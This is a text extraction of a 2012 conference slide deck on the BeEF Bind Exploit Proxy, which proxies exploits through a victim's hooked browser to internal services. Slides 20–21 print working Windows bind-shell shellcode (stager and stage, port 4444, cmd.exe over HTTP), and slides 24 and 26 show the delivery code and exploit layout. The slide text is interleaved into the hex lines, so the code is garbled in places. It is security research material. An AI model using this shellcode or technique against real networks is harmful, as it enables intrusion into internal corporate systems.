Browser exploits are a primary attack vector to compromise a victims internal network, but they have major restrictions including; limited current browser exploits; the huge price for 0-day browser exploits; and exploit complexity due to sandboxing. So, instead of exploiting the victims browser, what if the victims browser exploited internal systems for you? The new "BeEF Bind Exploit Proxy" module does this! This BeEF (Browser Exploitation Framework) module will allow penetration testers to proxy exploits through a victims web browser to compromise internal services. Not only this, but the new "BeEF Bind" shellcode also enables the communication channel to the attacker to pass back through the existing browser session. This attack technique (Inter-protocol Exploitation) removes browser-based attacks from being dependent upon browser vulnerabilities. It increases the number of potential exploits to include many service vulnerabilities throughout the internal corporate network. This includes whatever service can be contacted via a browser request. This increases the success rate of client-side exploitation attempts by dramatically increasing the number of vulnerabilities accessible to the attacker. So how does the new BeEF Bind Exploit Proxy work? BeEF is configured to use the BeEF Bind Exploit Proxy, and is set as the payload for XSS exploits or Phishing attacks. Once the victim visits the malicious site, their web browser becomes hooked and performs JavaScript port scanning across the internal corporate network looking for chosen open ports. Once a server has been identified, the BeEF server is notified and begins to send exploits through the hooked web browser to the service on the internal server. Each of these exploits are configured to use the new BeEF Bind shellcode. Once an exploit has successfully triggered a vulnerability within the internal service, the BeEF Bind shellcode is executed. This shellcode is designed to setup a web-listener that proxies commands through to a shell on the compromised server. This allows the attacker to send commands through the hooked web browser to the BeEF Bind payload. The command is executed on the compromised server and returned to the web browser in HTTP responses. The hooked web browser is then able to receive the command output and proxy it back to the attacker at the BeEF server. Penetration testers can now inject steroids into their XSS exploits by replacing simple alert boxes with demonstrations of actual compromised internal machines. They can also now increase the scope and success rate of their Phishing attacks to compromise internal servers. This new approach also minimizes the likelihood of IDS/IPS detection, and does not require an additional socket open back to the attacker via the firewall.

1. Exploiting Internal Network Vulns
via the Browser Using BeEF Bind
Michele Orru
Ty Miller
RuxCon 2012

2. About Us
Ty Miller
PureHacking
•CTO
•http://projectshellcode.com/
•"The Shellcode Lab" famous BlackHat training

3. About Us
Michele Orru
Trustwave SpiderLabs
•BeEF lead core developer
•Application Security researcher
•Ruby, Javascript and OpenBSD fan

4. About The Talk
• Current situation and traditional browser attack vectors
• BeEF and Inter-Protocol Exploitation
• The BeEF Bind shellcode
• How the shellcode delivery and exploitation works
• Demo fun, current limitations and...

5. Current situation
traditional browser attack vectors
• Aimed at compromise the browser itself, or plugins
• Sandboxes and exploit mitigation techniques make our life
difficult
• 0-day browser exploits are extremely expensive (Grugq said :-)

6. Current situation
Browser vulnerability exploitation
• Is the victims web browser patched?
• Do you have $100k to spend on a single 0-day browser exploit?
• How many useful browser exploits are available?

7. Current situation
Browser plugin exploitation
• Is the plugin patched or vulnerable?
• How reliable are the plugin exploits?
• some dependent upon browser version and plugin version
• some dependent on exact plugin build version
• most latest browsers don’t leak anymore exact plugin info
• Java-based exploits (also for ROP chains) require user-
intervention on many current browsers (i.e. Chrome)

8. Current situation
Cross Site Scripting
• Mis-understood, not patched, found in 90% of application pentests
• Full DOM manipulation
• SOP restrictions, additional HTTP headers restrictions, CSP
• In fact, alert(1) is the mostly used attack vector
• Oh, no sorry, also stealing cookies...

9. Current situation
traditional browser attack vectors
Internal server vulnerabilities are
sitting there bored and lonely...

10. Idea flow
read top to bottom
Wade:
My IPEC research was cool, we
should research further
Ty:
I developed a new staging shellcode
that acts like a WebServer
Michele:
Awesome, let me do some research
and lets port it to BeEF

11. The scary BeEF
changing browser attack vectors
• Imagine a framework like Metasploit,
but for browser-based attacks
• Powerful platform for Client-side
pwnage, XSS post-exploitation and
generally victim browser security
context abuse.
• The framework allows the penetration
tester to select specific modules
(in real-time) to target each browser,
and therefore each context.

12. The scary BeEF
changing browser attack vectors
• Through a simple XSS or Phishing page, with BeEF we
can hook victim browsers and control them entirely
with Javascript
• No more alert(1) crap
• Features like ManInTheBrowser, Tunneling Proxy and
remote exploits are all implemented in (relatively)
simple Javascript

13. Revitalizing IPEC
Inter-Protocol Exploitation
• Back in 2006/2007 Wade Alcorn researched what he called
Inter-Protocol exploitation
• Exploit ‘tolerant’ protocol implementations, which do not
drop the client connection after N errors
• A properly encoded POST request can be sent to the target:
• HTTP request headers are parsed as BAD COMMANDS
• HTTP request body is parsed as VALID COMMANDS
• HTTP request body also contains shellcode. FUN STARTS

14. Revitalizing IPEC
Inter-Protocol Exploitation: limitations
• Limitations:
• SOP and cross-domain restrictions
• PortBanning
• HTTP Headers size
• HTTP Content-Type settings
• After exploitation, back to normal out-of-browser shells?

15. Revitalizing IPEC
Inter-Protocol Exploitation: solution 1
• Limitations:
On Firefox and WebKit we can still
• SOP and cross-domain restrictions ‘blindly’ send data cross-domain.
• PortBanning This is (usually) enough to pwn services.
•HTTP Headers size
•HTTP Content-Type settings
•After exploitation, back to normal out-of-browser shells?

16. Revitalizing IPEC
Inter-Protocol Exploitation: solution 2
http://a.com:143/
• Limitations: FF: NS_ERROR_PORT_ACCESS_NOT_ALLOWED
•SOP and cross-domain restrictions Connection to various known port
(22/25/143/993/995/etc..) denied.
• PortBanning On Firefox, an extension can override
•HTTP Headers size config options:
•HTTP Content-Type settings
•After exploitation, back to normal out-of-browser shells?

17. Revitalizing IPEC
Inter-Protocol Exploitation: solution 3
• Limitations:
Lots of headers are automatically created
by the browser (around 400 bytes). Most
• SOP and cross-domain restrictions of them cannot be overridden, and cross-
domain they are bigger.
• PortBanning
We can override some of them:
• HTTP Headers size
• HTTP Content-Type settings
• After exploitation, back to normal out-of-browser shells?

18. Revitalizing IPEC
Inter-Protocol Exploitation: solution 4
• Limitations:
The original IPEC paper was using:
• SOP and cross-domain restrictions
Content-Type: multipart/form-data;
• PortBanning
Our approach uses, to save space:
• HTTP Headers size
Content-Type: text/plain;
• HTTP Content-Type settings
• After exploitation, back to normal out-of-browser shells?

19. Revitalizing IPEC
Inter-Protocol Exploitation: solution 5
• Limitations: Not anymore, thanks to the BeEF Bind
shellcode.
• SOP and cross-domain restrictions
You have a bind shellcode which can be
• PortBanning totally controlled through an hooked
browser sitting in the same victim
• HTTP Headers size internal network.
• HTTP Content-Type settings
• After exploitation, back to normal out-of-browser shells?

20. BeEF Bind shellcode
how it works
• Ty created a new staging shellcode, which we called var stager =
"xbax6ax99xf8x25xd9xccxd9x74x24xf4x5ex31xc9" +
BeEF Bind "xb1x4bx83xc6x04x31x56x11x03x56x11xe2x9fx65" +
"x10xacx5fx96xe1xcfxd6x73xd0xddx8cxf0x41xd2" +
"xc7x55x6ax99x85x4dxf9xefx01x61x4ax45x77x4c" +
"x4bx6bxb7x02x8fxedx4bx59xdcxcdx72x92x11x0f" +
• He was bored of reverse shells :D "xb3xcfxdax5dx6cx9bx49x72x19xd9x51x73xcdx55" +
"xe9x0bx68xa9x9exa1x73xfax0fxbdx3bxe2x24x99" +
"x9bx13xe8xf9xe7x5ax85xcax9cx5cx4fx03x5dx6f" +
"xafxc8x60x5fx22x10xa5x58xddx67xddx9ax60x70" +
• stager -> 299 bytes (326 after bad-char encoding) "x26xe0xbexf5xbax42x34xadx1ex72x99x28xd5x78" +
"x56x3exb1x9cx69x93xcax99xe2x12x1cx28xb0x30" +
"xb8x70x62x58x99xdcxc5x65xf9xb9xbaxc3x72x2b" +
•
"xaex72xd9x24x03x49xe1xb4x0bxdax92x86x94x70" +
stage -> 792 bytes "x3cxabx5dx5fxbbxccx77x27x53x33x78x58x7axf0" +
"x2cx08x14xd1x4cxc3xe4xdex98x44xb4x70x73x25" +
"x64x31x23xcdx6exbex1cxedx91x14x35xdfxb6xc4" +
•
"x52x22x48xfaxfexabxaex96xeexfdx79x0fxcdxd9" +
The stager sets up a bind port on 4444/TCP to accept "xb2xa8x2ex08xefx61xb9x04xe6xb6xc6x94x2dx95" +
"x6bx3cxa5x6ex60xf9xd4x70xadxa9x81xe7x3bx38" +
an HTTP POST request containing the raw stage in a "xe0x96x3cx11x41x58xd3x9axb5x33x93xc9xe6xa9" +
"x13x86x50x8ax47xb3x9fx07xeexfdx35xa8xa2x51" +
parameter called ‘cmd’. "x9exc0x46x8bxe8x4exb8xfexbfx18x80x97xb8x8b" +
"xf3x4dx47x15x6fx03x23x57x1bxd8xedx4cx16x5d" +
20 "x37x96x26x84";

21. BeEF Bind shellcode var stage_allow_origin =
"xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28"
how it works "x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52" +
"x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8b" +
"x58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38" +
"xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58" +
"x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5a" +
"x8bx12xebx86x5dxbbx00x10x00x00x6ax40x53x53x6ax00x68x58xa4x53xe5xffxd5" +
"x89xc6x68x01x00x00x00x68x00x00x00x00x68x0cx00x00x00x68x00x00x00x00x89" +
•
"xe3x68x00x00x00x00x89xe1x68x00x00x00x00x8dx7cx24x0cx57x53x51x68x3excf" +
The stage sets up a bind port on 4444/TCP to accept
"xafx0exffxd5x68x00x00x00x00x89xe3x68x00x00x00x00x89xe1x68x00x00x00x00" +
"x8dx7cx24x14x57x53x51x68x3excfxafx0exffxd5x8bx5cx24x08x68x00x00x00x00" +
HTTP POST requests from the web browser. "x68x01x00x00x00x53x68xcax13xd3x1cxffxd5x8bx5cx24x04x68x00x00x00x00x68" +
"x01x00x00x00x53x68xcax13xd3x1cxffxd5x89xf7x68x63x6dx64x00x89xe3xffx74" +
"x24x10xffx74x24x14xffx74x24x0cx31xf6x6ax12x59x56xe2xfdx66xc7x44x24x3c" +
"x01x01x8dx44x24x10xc6x00x44x54x50x56x56x56x46x56x4ex56x56x53x56x68x79" +
• Set of pipes to redirect the cmd.exe input and output.
"xccx3fx86xffxd5x89xfexb9xf8x0fx00x00x8dx46x08xc6x00x00x40xe2xfax56x8d" +
"xbex18x04x00x00xe8x62x00x00x00x48x54x54x50x2fx31x2ex31x20x32x30x30x20" +
"x4fx4bx0dx0ax43x6fx6ex74x65x6ex74x2dx54x79x70x65x3ax20x74x65x78x74x2f" +
This allows to jump in the middle of the HTTP request
"x68x74x6dx6cx0dx0ax41x63x63x65x73x73x2dx43x6fx6ex74x72x6fx6cx2dx41x6c" +
"x6cx6fx77x2dx4fx72x69x67x69x6ex3ax20x2ax0dx0ax43x6fx6ex74x65x6ex74x2d" +
and the cmd.exe process to implement the web server
"x4cx65x6ex67x74x68x3ax20x33x30x31x36x0dx0ax0dx0ax5exb9x62x00x00x00xf3" +
"xa4x5ex56x68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26x07xffxd5xb8x90" +
style functionality. "x01x00x00x29xc4x54x50x68x29x80x6bx00xffxd5x50x50x50x50x40x50x40x50x68" +
"xeax0fxdfxe0xffxd5x97x31xdbx53x68x02x00x11x5cx89xe6x6ax10x56x57x68xc2" +
"xdbx37x67xffxd5x53x57x68xb7xe9x38xffxffxd5x53x53x57x68x74xecx3bxe1xff" +
"xd5x57x97x68x75x6ex4dx61xffxd5x81xc4xa0x01x00x00x5ex89x3ex6ax00x68x00" +
• The command result output is returned with the "x04x00x00x89xf3x81xc3x08x00x00x00x53xffx36x68x02xd9xc8x5fxffxd5x8bx54" +
"x24x64xb9x00x04x00x00x81x3bx63x6dx64x3dx74x06x43x49xe3x3axebxf2x81xc3" +
"x03x00x00x00x43x53x68x00x00x00x00x8dxbex10x04x00x00x57x68x01x00x00x00" +
Access-Control-Allow-Origin: * header. After the stage
"x53x8bx5cx24x70x53x68x2dx57xaex5bxffxd5x5bx80x3bx0ax75xdax68xe8x03x00" +
"x00x68x44xf0x35xe0xffxd5x31xc0x50x8dx5ex04x53x50x50x50x8dx5cx24x74x8b" +
is deployed, SOP is not a problem anymore. "x1bx53x68x18xb7x3cxb3xffxd5x85xc0x74x44x8bx46x04x85xc0x74x3dx68x00x00" +
"x00x00x8dxbex14x04x00x00x57x68x86x0bx00x00x8dxbex7ax04x00x00x57x8dx5c" +
"x24x70x8bx1bx53x68xadx9ex5fxbbxffxd5x6ax00x68xe8x0bx00x00x8dxbex18x04" +
"x00x00x57xffx36x68xc2xebx38x5fxffxd5xffx36x68xc6x96x87x52xffxd5xe9x38" +
21 "xfexffxff";

22. BeEF Bind shellcode
how it works
The shellcode is also available as a
Metasploit module
BeEF Bind MSF Payload Module
22

23. BeEF Bind shellcode
how it works
Burp/OllyDbg
DEMO
23

24. BeEF Bind shellcode
delivery and usage from within BeEF
• Shellcode is binary data
• Stager and Stage are delivered with
XMLHttpRequest.sendAsBinary
• For Webkit browsers that don’t support Stager - Stage
sendAsBinary, prototype overriding on XHR object.
XMLHttpRequest.prototype.sendAsBinary = function(datastr) {
function byteValue(x) {
return x.charCodeAt(0) & 0xff;
}
var ords = Array.prototype.map.call(datastr, byteValue);
var ui8a = new Uint8Array(ords);
this.send(ui8a.buffer);
}

25. BeEF Bind shellcode
delivery and usage from within BeEF
• We cannot know in advance the exact size
of HTTP headers.
• A dummy cross-domain XHR request is
sent back to BeEF, exact size of headers is
calculated, and exploit junk is adjusted
accordingly.
• Like in all exploits, 1 byte error is enough
to have a not-working exploit.
• With this approach, errors are minimized.

26. BeEF Bind shellcode
delivery and usage from within BeEF
• Typical SEH exploit with EggHunter, non-IPEC:
• commands + junk + shellcode + next_seh + seh + egg_hunter
• Typical SEH exploit with EggHunter, IPEC:
• HTTP_headers + commands + (less)junk + shellcode + next_seh + seh + egg_hunter

27. BeEF Bind shellcode
delivery and usage from within BeEF
Immunity dbg view: IMAP process
memory when sending the stager

28. BeEF Bind shellcode
delivery and usage from within BeEF
Wireshark view: stager delivery Wireshark view: command delivery and results

29. BeEF Bind shellcode
delivery and usage from within BeEF
set target
exec command
Ultimate fun.
BeEF IPEC shell (JS) get results
29

30. High Level Architecture
from FF extension to command execution

31. High Level Architecture
from FF extension to command execution

32. High Level Architecture
from FF extension to command execution

33. High Level Architecture
from FF extension to command execution

34. High Level Architecture
from FF extension to command execution

35. Demo fun
from phishing to internal IMAP server compromise

36. Thanks
• Wade and the other BeEF guys
• Ty for his awesome shellcode
• Michele for his awesome BeEF integration
• RuxCon crew and you, attendees
• Whoever will offer beers later...

37. Questions?